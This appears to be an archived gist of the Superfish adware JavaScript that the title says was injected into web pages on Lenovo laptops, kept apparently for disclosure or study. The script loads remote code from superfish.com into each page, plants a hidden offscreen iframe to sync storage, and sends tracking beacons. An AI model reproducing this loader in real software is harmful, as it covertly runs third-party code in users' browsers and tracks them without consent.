javascript injected by Superfish from www.best-deals-products.com onto Lenovo laptops

gistfile1.txt

// retrieved from https://www.best-deals-products.com/ws/sf_main.jsp?dlsource=hdrykzc on 2015-02-19

if (window == top && !window.similarproducts && navigator.appVersion.toLowerCase().indexOf('msie 7') == -1) {
    (function() {
        var windowLocation = location.href.toLowerCase();
        var nofish = false;
        var metaTags = document.getElementsByTagName('meta');
        var metaTag;

        for (var i = 0, l = metaTags.length; i < l; i++) {
            metaTag = metaTags[i];

            if (metaTag.getAttribute('name') && metaTag.getAttribute('name').toLowerCase() == 'superfish' && metaTag.getAttribute('content') && metaTag.getAttribute('content').toLowerCase() == 'nofish') {
                nofish = true;
                break;
            }
        }

        if (windowLocation.search(/\.google\./i) !== -1 && windowLocation.search(/^https?:\/\/(www|play)\.google\.(?!com\/analytics\/)/i) === -1) {
            nofish = true;
        }

        //if  (nofish || !(windowLocation.indexOf('.google.') == -1 || windowLocation.indexOf('play.google.com') != -1 || (windowLocation.indexOf('www.google.') != -1 && windowLocation.indexOf('www.google.com/analytics/') == -1)))

        if (nofish) {
            return;
        }



        window.similarproducts = {};
        similarproducts.b = {
            inj: function(d, url, js, cb) {
                if (window.location.protocol.indexOf("https") > -1 && url.indexOf("localhost") == -1) {
                    url = url.replace("http:", "https:");
                } else {
                    url = url.replace("https", "http");
                }

                var h = d.getElementsByTagName('head')[0];
                var s = d.createElement(js ? "script" : 'link');

                if (js) {
                    s.type = "text/javascript";
                    s.src = url;
                } else {
                    s.rel = "stylesheet";
                    s.href = url;
                }
                if (cb) {
                    s.onload = (function(prm) {
                        return function() {
                            cb(prm);
                        }
                    })(url);
                    // IE 
                    s.onreadystatechange = (function(prm) {
                        return function() {
                            if (this.readyState == 'complete' || this.readyState == 'loaded') {
                                setTimeout((function(u) {
                                    return function() {
                                        cb(u)
                                    }
                                })(prm), 300);
                            }
                        }
                    })(url);
                }
                h.appendChild(s);
                return s;
            }
        };
        similarproducts.b.WSFlow = (function() {

            var startTime = 0;
            var flowSteps = [];

            function addStep(step) {
                if (startTime === 0) {
                    startTime = new Date().getTime();
                }
                step = ((new Date().getTime()) - startTime) + ' : ' + step;
                flowSteps.push(step);
            }

            function getSteps(delimiter) {
                var del = delimiter || ' ==> ';
                return flowSteps.join(del);
            }

            //    function getSteps() {
            //    	return flowSteps.join('==>');
            //    }

            return {
                addStep: addStep,
                getSteps: getSteps
            };

        })();
        similarproducts.b.WSFlow.addStep("Start sfbase");
        similarproducts.ver = {
            ver: "",
            calcAppVersion: function() {
                if (this.ver === "") {
                    var CRMLastUpdate = '2015-02-18 16:24:42.703';
                    var adsLastUpdate = '2015-02-01 00:41:00';
                    var globalAppVersion = '15.2.19.1';

                    var globalAppVersionDateParts = globalAppVersion.split('.');
                    var globalAppVersionYear = +globalAppVersionDateParts[0] + 2000;
                    var globalAppVersionMonth = +globalAppVersionDateParts[1] - 1;
                    var globalAppVersionDay = +globalAppVersionDateParts[2];
                    var globalAppVersionHour = +globalAppVersionDateParts[3];

                    var globalAppVersionDate = new Date(globalAppVersionYear, globalAppVersionMonth, globalAppVersionDay, globalAppVersionHour, 1, 0, 0)
                    var lastUpdate = new Date();

                    if (CRMLastUpdate !== '') {
                        var CRMLastUpdateDateParts = CRMLastUpdate.split('-');
                        var CRMLastUpdateYear = +CRMLastUpdateDateParts[0];
                        var CRMLastUpdateMonth = +CRMLastUpdateDateParts[1] - 1;
                        var CRMLastUpdateDay = +CRMLastUpdateDateParts[2].split(' ')[0];
                        var CRMLastUpdateHour = +CRMLastUpdateDateParts[2].split(' ')[1].split(':')[0];
                        var CRMLastUpdateMin = +CRMLastUpdateDateParts[2].split(' ')[1].split(':')[1];

                        var CRMLastUpdateDate = new Date(CRMLastUpdateYear, CRMLastUpdateMonth, CRMLastUpdateDay, CRMLastUpdateHour, CRMLastUpdateMin, 0, 0)

                        if (CRMLastUpdateDate > globalAppVersionDate) {
                            lastUpdate = CRMLastUpdateDate;
                        } else {
                            lastUpdate = globalAppVersionDate;
                        }
                    } else {
                        lastUpdate = globalAppVersionDate;
                    }

                    var lastUpdateYear = lastUpdate.getFullYear();
                    var lastUpdateMonth = lastUpdate.getMonth();
                    var lastUpdateDay = lastUpdate.getDate();
                    var lastUpdateHour = lastUpdate.getHours();
                    var lastUpdateMinutes = lastUpdate.getMinutes();

                    if (adsLastUpdate !== '') {
                        var adsLastUpdateDateParts = adsLastUpdate.split('-');
                        var adsLastUpdateYear = +adsLastUpdateDateParts[0];
                        var adsLastUpdateMonth = +adsLastUpdateDateParts[1] - 1;
                        var adsLastUpdateDay = +adsLastUpdateDateParts[2].split(' ')[0];
                        var adsLastUpdateHour = +adsLastUpdateDateParts[2].split(' ')[1].split(':')[0];
                        var adsLastUpdateMin = +adsLastUpdateDateParts[2].split(' ')[1].split(':')[1];

                        var adsLastUpdateDate = new Date(adsLastUpdateYear, adsLastUpdateMonth, adsLastUpdateDay, adsLastUpdateHour, adsLastUpdateMin, 0, 0)
                        if (adsLastUpdateDate > globalAppVersionDate) {
                            this.ver = [adsLastUpdateYear, adsLastUpdateMonth + 1, adsLastUpdateDay, adsLastUpdateHour, adsLastUpdateMin].join('.');
                        } else {
                            this.ver = [lastUpdateYear, lastUpdateMonth + 1, lastUpdateDay, lastUpdateHour, lastUpdateMinutes].join('.');
                        }

                    } else {
                        this.ver = [lastUpdateYear, lastUpdateMonth + 1, lastUpdateDay, lastUpdateHour, lastUpdateMinutes].join('.');
                    }
                }
                return this.ver;
            }
        };


        var srcRegex = /\/sf_main\.|\/sf_conduit\.|\/sf_conduit_mam\.|\/sf_conduit_mam_app\.|\/sfw\./i; // Test for script tag src that may contain the app params query string
        var queryStringRegex = /CTID=(CT2680812|CT2652911|CT2659749|CT2695421|CT2666540)/i // Test for "specialsavings" patch
        var retryCounter = 1; // Used in the run() function as a fallback condition after 5 attempts
        var timeoutHandle;

        function extractQueryString() {
            var queryString = '';
            var scripts = document.getElementsByTagName('script');
            var scriptSrc;

            try {
                for (var i = 0, l = scripts.length; i < l; i++) {
                    scriptSrc = scripts[i].src;

                    if (srcRegex.test(scriptSrc)) {
                        if (scriptSrc.indexOf('?') != -1) {
                            var tempQueryString = scriptSrc.substring(scriptSrc.indexOf('?'));
                            queryString = fixQs(tempQueryString);
                        }

                        break;
                    }
                }
            } catch (ex) {
                queryString = '';
            }

            return queryString;
        }

        function fixQs(initialQS) {
            var fixedQS = '?';
            initialQS.replace(
                new RegExp("([^?=&]+)(=([^&]*))?", "g"),
                function($0, $1, $2, $3) {

                    switch ($1) {
                        case 'dlsource':
                            $3 = decodeURIComponent($3).replace(/^\s+|\s+$/g, "");
                            break;
                    }

                    fixedQS = fixedQS + $1 + '=' + $3 + '&';
                }
            );
            return fixedQS.substring(0, fixedQS.length - 1);
        }

        function loadApp(queryString) {
            var appVersion = similarproducts.ver.calcAppVersion();
            queryString += (queryString == '') ? '?' : '&';
            queryString += 'ver=' + appVersion;

            if (queryStringRegex.test(queryString)) // Specialsavings patch
            {
                if (queryString.indexOf('dlsource=') > -1) {
                    queryString = queryString.replace(/dlsource=([^&]*)?/g, 'dlsource=specialsavings_tb');
                } else {
                    queryString += '&dlsource=specialsavings_tb';
                }
            }

            // Assign values to the global similarproducts object
            similarproducts.b.initialQS = queryString;
            if (similarproducts.b.WSFlow) {
                similarproducts.b.WSFlow.addStep("before call to sf_preloader.jsp");
            }

            similarproducts.b.inj(window.document, 'https://www.superfish.com/ws/sf_preloader.jsp' + queryString, 1);
        }

        var syncLocalStorage = (function() {
            var syncLocalStorageFromUrl = 'https://www.superfish.com/ws';
            var xdMsgDelimiter = '*sfxd*';
            var currentDomain = 'https://www.superfish.com/ws/';
            var getLocalStorageUrl = currentDomain + "sf_postLocalStorage.jsp?syncFrom=" + encodeURIComponent(syncLocalStorageFromUrl);
            var msgCallback = function() {};
            var endCallback = function() {};
            var timer = 0;
            var postObj = {};
            var qs = {};
            var needToCallBack = true;
            var debug = false;

            function setQueryString(obj_to_add, initial_QS) {
                obj_to_add.qsObj = {};
                initial_QS.replace(
                    new RegExp("([^?=&]+)(=([^&]*))?", "g"),
                    function($0, $1, $2, $3) {
                        obj_to_add.qsObj[$1] = decodeURIComponent($3);
                    }
                );
            }

            function log(msg) {
                if (debug && window.console) {
                    var dDate = new Date();
                    window.console.log('syncLocalStorage : ' + dDate.getTime() + " - " + msg);
                }
            }

            var xdmsg = {
                postMsg: function(target, param) {
                    if (target != window) {
                        target.postMessage(param, "*");
                    }
                },

                getMsg: function(event) {
                    msgCallback(event.data, event.origin);
                },

                init: function(cbFunction) {
                    msgCallback = cbFunction;
                    if (window.addEventListener) {
                        window.addEventListener("message", this.getMsg, false);
                    } else {
                        window.attachEvent('onmessage', this.getMsg);
                    }
                },

                kill: function() {
                    if (window.removeEventListener) {
                        window.removeEventListener("message", this.getMsg, false);
                    } else {
                        if (window.detachEvent) {
                            window.detachEvent('onmessage', this.getMsg);
                        }
                    }
                }
            };

            function gotMessage(msg, from) {
                if (from && from.split('://')[1].indexOf(currentDomain.split('://')[1].split('/')[0]) == -1) {
                    return;
                }

                if (!msg) {
                    return;
                }

                var prep = msg.split(xdMsgDelimiter);
                if (+prep[0] == -3355) {
                    log("Got message from Iframe - " + prep[1]);
                    clearTimeout(timer);
                    if (needToCallBack) {
                        if (endCallback && typeof(endCallback) === 'function') {
                            endCallback();
                        }
                    }
                }

            }

            function createIframe(queryString, callback) {
                log("in createIframe");
                getLocalStorageUrl = getLocalStorageUrl + queryString.replace('?', '&');
                if (window.location.protocol.indexOf("https") > -1 && getLocalStorageUrl.indexOf("localhost") == -1) {
                    getLocalStorageUrl = getLocalStorageUrl.replace("http:", "https:");
                } else {
                    getLocalStorageUrl = getLocalStorageUrl.replace("https:", "http:");
                }

                var ifrm;
                ifrm = document.createElement("IFRAME");
                ifrm.setAttribute("src", getLocalStorageUrl);
                ifrm.setAttribute("style", "position:absolute; top:-20px; left:-20px;");
                ifrm.setAttribute("id", "sfPostLocalStorage");
                ifrm.style.width = "1px";
                ifrm.style.height = "1px";
                if (syncLocalStorageFromUrl !== 'NA' && syncLocalStorageFromUrl.split('/')[2] !== currentDomain.split('/')[2]) {
                    log("Need to sync");
                    xdmsg.init(gotMessage);
                    timer = setTimeout(function() {
                        log("in syncLocalStorageTimeOut");
                        needToCallBack = false;
                        if (Math.floor(Math.random() * 10) == 1) {
                            var url = currentDomain + "trackSession.action?userid=NA&sessionid=NA&action=syncLocalStorageTimeOut";
                            var img = new Image();
                            img.src = url;
                        }
                        if (callback && typeof(callback) === 'function') {
                            callback();
                        }
                    }, 5000);
                    document.body.appendChild(ifrm);
                    log("Iframe created");
                    if (callback && typeof(callback) === 'function') {
                        endCallback = callback;
                    }
                } else {
                    log("No need to sync");
                    if (callback && typeof(callback) === 'function') {
                        callback();
                    }
                }
            }
            return {
                createIframe: createIframe
            };

        })();

        function run() {
            var queryString = extractQueryString();

            //            if (false && location.protocol === 'https:' && queryString.search(/dlsource=hdrykzc/i) !== -1) // Patch for Lenovo - do not run on https sites
            if (queryString.search(/dlsource=hdrykzc/i) !== -1) // Disable Lenovo users
            {
                return;
            }

            timeoutHandle && clearTimeout(timeoutHandle);

            if (queryString || retryCounter >= 5) {
                var appVersion = similarproducts.ver.calcAppVersion();

                window['sup' + 'erf' + 'ish'] = similarproducts;

                syncLocalStorage.createIframe(queryString + '&ver=' + appVersion, function() {
                    loadApp(queryString);
                });
            } else {
                retryCounter++;
                timeoutHandle = setTimeout(run, 50);
            }
        }

        /* --- Begin app loading cycle --- */
        run();
    })();
}